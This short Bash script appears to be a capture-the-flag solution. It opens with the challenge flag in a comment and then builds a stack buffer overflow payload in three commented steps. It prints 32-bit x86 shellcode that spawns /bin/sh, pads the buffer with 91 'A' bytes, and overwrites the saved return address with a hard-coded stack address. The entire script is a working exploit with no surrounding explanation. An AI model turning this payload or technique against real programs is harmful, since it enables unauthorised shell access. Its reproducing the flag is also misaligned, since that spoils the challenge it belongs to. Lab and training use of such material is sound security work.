14 lines
427 B
Bash
Executable file
14 lines
427 B
Bash
Executable file
#!/bin/bash
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# flag{THAT_WAS_EASY_HUH}
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######### Exploit #########
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# Step 1: Write the provided shellcode to stdout
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printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
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# Step 2: Fill the buffer with 'A's until the stored EIP is reached
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printf "A%.0s" {1..91}
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# Step 3: Overwrite the stored EIP with the address of the shellcode
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printf "\x2c\xd5\xff\xff"
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###########################
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